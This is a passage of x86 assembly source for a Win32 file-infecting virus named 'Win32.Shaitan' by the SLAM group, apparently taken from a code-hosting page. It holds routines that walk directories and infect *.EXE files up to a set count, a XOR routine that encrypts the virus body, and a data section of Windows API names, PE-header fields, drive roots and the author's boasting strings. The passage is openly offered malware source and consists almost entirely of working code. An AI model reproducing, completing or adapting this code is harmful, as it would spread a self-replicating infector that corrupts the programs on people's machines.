||||
|
||||
mov eax,offset wfd_icd.cFileName ; Get filename of match file
|
||||
add eax,ebp ; Adjust with delta...
|
||||
mov [testfile+ebp],eax ; Save pointer to it...
|
||||
|
||||
cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize
|
||||
jne icd_findnext ; Way too big! Next...
|
||||
|
||||
mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize...
|
||||
mov [adj_filesize+ebp],eax ; Save it
|
||||
mov [new_filesize+ebp],eax ; Save it (this'll change l8r)
|
||||
|
||||
call InfectFile ; Infect file "testfile"
|
||||
cmp eax,0 ; Successful?
|
||||
je icd_findnext ; No. Search for next file...
|
||||
inc [infect_counter+ebp] ; Yes. Increment counter
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached?
|
||||
jne icd_findnext ; No. Search next...
|
||||
|
||||
close_file_handle:
|
||||
push ebp ; Save delta
|
||||
mov eax,[icd_search_handle+ebp] ; Handle of search
|
||||
push eax ; Push it onto stack
|
||||
mov eax,[_FindClose+ebp] ; Get address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
|
||||
icd_end:
|
||||
ret
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Search&InfectDirs -
|
||||
;----------------------------------------------------------------------------
|
||||
Search&InfectDirs:
|
||||
call SetDir ; Change to directory in EAX
|
||||
cmp eax,0 ; Failure?
|
||||
je sid_end ; Yeah. Quit...
|
||||
|
||||
push ebp ; Save delta
|
||||
mov eax,offset wfd_dir ; Address of struct to hold find-data
|
||||
add eax,ebp ; Adjust with delta
|
||||
push eax ; Push onto stack
|
||||
mov eax,offset dir_match ; File pattern to search for...
|
||||
push eax ; Push onto stack
|
||||
mov eax,[_FindFirstFileA+ebp]; API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
|
||||
cmp eax,0ffffffffh ; No match???
|
||||
je sid_end ; Yes. Can't continue...
|
||||
|
||||
mov [dir_search_handle+ebp],eax ; Save search handle
|
||||
|
||||
cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY
|
||||
jne sid_next_dir ; Not a directory, serch for next...
|
||||
|
||||
mov eax,offset wfd_dir.cFileName; Name of found directory
|
||||
add eax,ebp ; Adjust with delta
|
||||
call SetDir ; Change to that directory
|
||||
|
||||
call InfectCurrentDirectory ; Infect files there
|
||||
|
||||
mov eax,offset dot_dot ; Move one directory down (..)
|
||||
add eax,ebp ; Adjust with delta
|
||||
call SetDir ; Change to that directory
|
||||
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||||
je close_dir_handle ; Yes. Don't continue...
|
||||
|
||||
sid_next_dir:
|
||||
push ebp ; Save delta
|
||||
mov eax,offset wfd_dir ; Find-data structure
|
||||
add eax,ebp ; Adjust with delta
|
||||
push eax ; Push onto stack
|
||||
push [dir_search_handle+ebp] ; Push search handle too
|
||||
mov eax,[_FindNextFileA+ebp] ; API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
|
||||
cmp eax,L 0 ; No more dirs?
|
||||
je close_dir_handle ; No. Exit...
|
||||
|
||||
cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY
|
||||
jne sid_next_dir ; Not a directory. Search again...
|
||||
|
||||
mov eax,offset wfd_dir.cFileName; Name of found directory
|
||||
add eax,ebp ; Adjust
|
||||
call SetDir ; Change to found directory
|
||||
|
||||
call InfectCurrentDirectory ; Infect files in directory
|
||||
|
||||
mov eax,offset dot_dot ; Move back one directory
|
||||
add eax,ebp ; Adjust...
|
||||
call SetDir ; Change to that directory
|
||||
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max # of files infected?
|
||||
je close_dir_handle ; Yes. Don't continue...
|
||||
|
||||
jmp sid_next_dir ; Loop...
|
||||
|
||||
close_dir_handle:
|
||||
push ebp ; Save delta
|
||||
mov eax,[dir_search_handle+ebp] ; Handle of search
|
||||
push eax ; Push it onto stack
|
||||
mov eax,[_FindClose+ebp] ; Get address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
|
||||
sid_end:
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Crypt - En/Decrypts vx data
|
||||
;----------------------------------------------------------------------------
|
||||
crypt:
|
||||
mov esi,offset crypt_start ; Start of data to en/decrypt
|
||||
add esi,ebp ; Adjust with delta
|
||||
mov ah,byte ptr [key+ebp] ; Retrieve encryption key
|
||||
mov ecx,crypt_end - crypt_start ; No. of bytes to encrypt
|
||||
crypt_loop:
|
||||
xor byte ptr [esi],ah ; Encrypt one byte
|
||||
inc esi ; Point to next byte to encrypt
|
||||
loop crypt_loop ; Loop till done...
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Virus data -
|
||||
;----------------------------------------------------------------------------
|
||||
crypt_start:
|
||||
|
||||
testfile dd ?
|
||||
file_handle dd ?
|
||||
map_handle dd ?
|
||||
view_address dd ?
|
||||
file_match db "*.EXE",0
|
||||
dir_match db "*.*",0
|
||||
wfd_icd WIN32_FIND_DATA ?
|
||||
wfd_dir WIN32_FIND_DATA ?
|
||||
adj_filesize dd ?
|
||||
new_filesize dd ?
|
||||
PE_hdr dd ?
|
||||
ori_ip dd ?
|
||||
new_ip dd ?
|
||||
temp_ip dd ?
|
||||
file_align dd ?
|
||||
ori_size_of_rawdata dd ?
|
||||
size_of_rawdata dd ?
|
||||
inc_size_of_rawdata dd ?
|
||||
module_base dd ?
|
||||
infect_status dd ?
|
||||
infect_counter dd ?
|
||||
icd_search_handle dd ?
|
||||
dir_search_handle dd ?
|
||||
start_dir db 128 dup (0)
|
||||
win_dir db 128 dup (0)
|
||||
root_dir_c db "C:\",0
|
||||
root_dir_d db "D:\",0
|
||||
dot_dot db "..",0
|
||||
ori_attrib dd ?
|
||||
|
||||
NumberOfFunctions dd ?
|
||||
AddressOfFunctions dd ?
|
||||
AddressOfNames dd ?
|
||||
AddressOfOrdinals dd ?
|
||||
|
||||
GPA_string db "GetProcAddress",0
|
||||
GPA_string_len equ $ - offset GPA_string
|
||||
_GetProcAddress dd ?
|
||||
|
||||
GMH_string db "GetModuleHandleA",0
|
||||
GMH_string_len equ $ - offset GMH_string
|
||||
|
||||
; ASCIIZ strings of all API functions we need. The DWORDs following the API
|
||||
; names will store their respective addresses...
|
||||
API_strings:
|
||||
CF_string db "CreateFileA",0
|
||||
_CreateFileA dd ?
|
||||
CFM_string db "CreateFileMappingA",0
|
||||
_CreateFileMappingA dd ?
|
||||
MVOF_string db "MapViewOfFile",0
|
||||
_MapViewOfFile dd ?
|
||||
CH_string db "CloseHandle",0
|
||||
_CloseHandle dd ?
|
||||
FFF_string db "FindFirstFileA",0
|
||||
_FindFirstFileA dd ?
|
||||
FNF_string db "FindNextFileA",0
|
||||
_FindNextFileA dd ?
|
||||
FC_string db "FindClose",0
|
||||
_FindClose dd ?
|
||||
SFP_string db "SetFilePointer",0
|
||||
_SetFilePointer dd ?
|
||||
SEOF_string db "SetEndOfFile",0
|
||||
_SetEndOfFile dd ?
|
||||
GCD_string db "GetCurrentDirectoryA",0
|
||||
_GetCurrentDirectory dd ?
|
||||
SCD_string db "SetCurrentDirectoryA",0
|
||||
_SetCurrentDirectory dd ?
|
||||
GWD_string db "GetWindowsDirectoryA",0
|
||||
_GetWindowsDirectory dd ?
|
||||
GCL_string db "GetCommandLineA",0
|
||||
_GetCommandLine dd ?
|
||||
UVOF_string db "UnmapViewOfFile",0
|
||||
_UnmapViewOfFile dd ?
|
||||
GFA_string db "GetFileAttributesA",0
|
||||
_GetFileAttributes dd ?
|
||||
SFA_string db "SetFileAttributesA",0
|
||||
_SetFileAttributes dd ?
|
||||
GDT_string db "GetDriveTypeA",0
|
||||
_GetDriveType dd ?
|
||||
NoMoreAPI_string dd 'SLAM'
|
||||
|
||||
k32_string db "KERNEL32.DLL",0
|
||||
kernel32 dd ?
|
||||
|
||||
; Take credit for writing all this stuff :) ...
|
||||
copyright db "Win32.Shaitan (c) 1998 The Shaitan [SLAM]",0
|
||||
|
||||
; Now do a Dark Avenger impersonation :P
|
||||
dav_string db "This virus was written in the city of Mumbai",0
|
||||
|
||||
crypt_end:
|
||||
|
||||
key db 0
|
||||
|
||||
v_end:
|
||||
|
||||
ends
|
||||
end v_start
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user